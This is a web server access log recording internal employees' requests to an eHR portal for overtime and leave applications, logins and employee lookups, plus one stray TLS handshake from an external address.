192.168.11.136 - - [25/May/2023:09:50:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:50:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833
192.168.11.136 - - [25/May/2023:09:50:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:50:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.236 - - [25/May/2023:09:51:38 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8914960882989358 HTTP/1.1" 200 15576 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8914960882989358" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:51:38 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8914960882989358 HTTP/1.1" 200 15576
192.168.11.136 - - [25/May/2023:09:50:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:50:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.236 - - [25/May/2023:09:52:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:52:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 -
192.168.11.149 - - [25/May/2023:09:50:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 14323 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.149 - - [25/May/2023:09:50:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 14323
192.168.11.240 - - [25/May/2023:09:54:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.240 - - [25/May/2023:09:54:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051
192.168.11.240 - - [25/May/2023:09:54:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 6289 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.240 - - [25/May/2023:09:54:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 6289
192.168.11.240 - - [25/May/2023:09:54:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.240 - - [25/May/2023:09:54:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051
192.168.11.240 - - [25/May/2023:09:54:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.240 - - [25/May/2023:09:54:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066
192.168.11.240 - - [25/May/2023:09:54:56 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.027252128375246265 HTTP/1.1" 200 9748
192.168.11.240 - - [25/May/2023:09:54:56 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.027252128375246265 HTTP/1.1" 200 9748 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.240 - - [25/May/2023:09:55:07 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.027252128375246265 HTTP/1.1" 200 11922
192.168.11.240 - - [25/May/2023:09:55:07 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.027252128375246265 HTTP/1.1" 200 11922 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.027252128375246265" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.240 - - [25/May/2023:09:55:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4193 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.240 - - [25/May/2023:09:55:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4193
192.168.11.141 - - [25/May/2023:09:59:14 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.141 - - [25/May/2023:09:59:14 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:09:59:18 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:09:59:18 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.141 - - [25/May/2023:09:59:29 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7217
192.168.11.141 - - [25/May/2023:09:59:29 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7217 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:09:59:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 -
192.168.11.141 - - [25/May/2023:09:59:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:10:10:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.12.71 - - [25/May/2023:10:10:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:10:10:53 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:10:10:53 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.12.71 - - [25/May/2023:10:10:57 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:10:10:57 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.12.71 - - [25/May/2023:10:11:02 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.71 - - [25/May/2023:10:11:02 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:10:11:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:10:11:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.141 - - [25/May/2023:10:10:56 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:10:10:56 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 139
192.168.11.141 - - [25/May/2023:10:11:45 +0800] "GET /favicon.ico HTTP/1.1" 404 209
192.168.11.141 - - [25/May/2023:10:11:45 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:10:10:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 -
192.168.11.141 - - [25/May/2023:10:10:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:10:11:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:10:11:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139
192.168.12.71 - - [25/May/2023:10:11:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 -
192.168.12.71 - - [25/May/2023:10:11:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
45.91.171.169 - - [25/May/2023:10:16:34 +0800] "\x16\x03\x01" 501 205 "-" "-"
45.91.171.169 - - [25/May/2023:10:16:34 +0800] "\x16\x03\x01" 501 205
192.168.12.71 - - [25/May/2023:10:16:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066
192.168.12.71 - - [25/May/2023:10:16:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:10:22:04 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16072908111573625 HTTP/1.1" 200 14848
192.168.12.71 - - [25/May/2023:10:22:04 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16072908111573625 HTTP/1.1" 200 14848 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:10:22:15 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16072908111573625 HTTP/1.1" 200 17021 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16072908111573625" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:10:22:15 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16072908111573625 HTTP/1.1" 200 17021
192.168.12.71 - - [25/May/2023:10:23:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:10:23:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 -
192.168.12.71 - - [25/May/2023:10:26:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066
192.168.12.71 - - [25/May/2023:10:26:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22066 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:10:26:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:10:26:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.141 - - [25/May/2023:10:27:22 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.141 - - [25/May/2023:10:27:22 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:27:47 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:27:47 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.172 - - [25/May/2023:10:27:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.172 - - [25/May/2023:10:27:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:27:53 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:27:53 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.172 - - [25/May/2023:10:27:53 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.172 - - [25/May/2023:10:27:53 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:10:27:40 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.141 - - [25/May/2023:10:27:40 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:10:27:53 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:10:27:53 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.172 - - [25/May/2023:10:27:59 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:27:59 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.172 - - [25/May/2023:10:28:05 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:28:05 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.11.141 - - [25/May/2023:10:28:05 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:10:28:05 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.172 - - [25/May/2023:10:28:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:28:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 -
192.168.11.141 - - [25/May/2023:10:28:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:10:28:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 -
192.168.11.172 - - [25/May/2023:10:28:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:28:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800
192.168.11.141 - - [25/May/2023:10:28:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
192.168.11.141 - - [25/May/2023:10:28:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.172 - - [25/May/2023:10:28:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800
192.168.11.172 - - [25/May/2023:10:28:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:28:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.172 - - [25/May/2023:10:28:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28
192.168.11.141 - - [25/May/2023:10:29:08 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.19717662808404368 HTTP/1.1" 200 8640
192.168.11.141 - - [25/May/2023:10:29:08 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.19717662808404368 HTTP/1.1" 200 8640 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
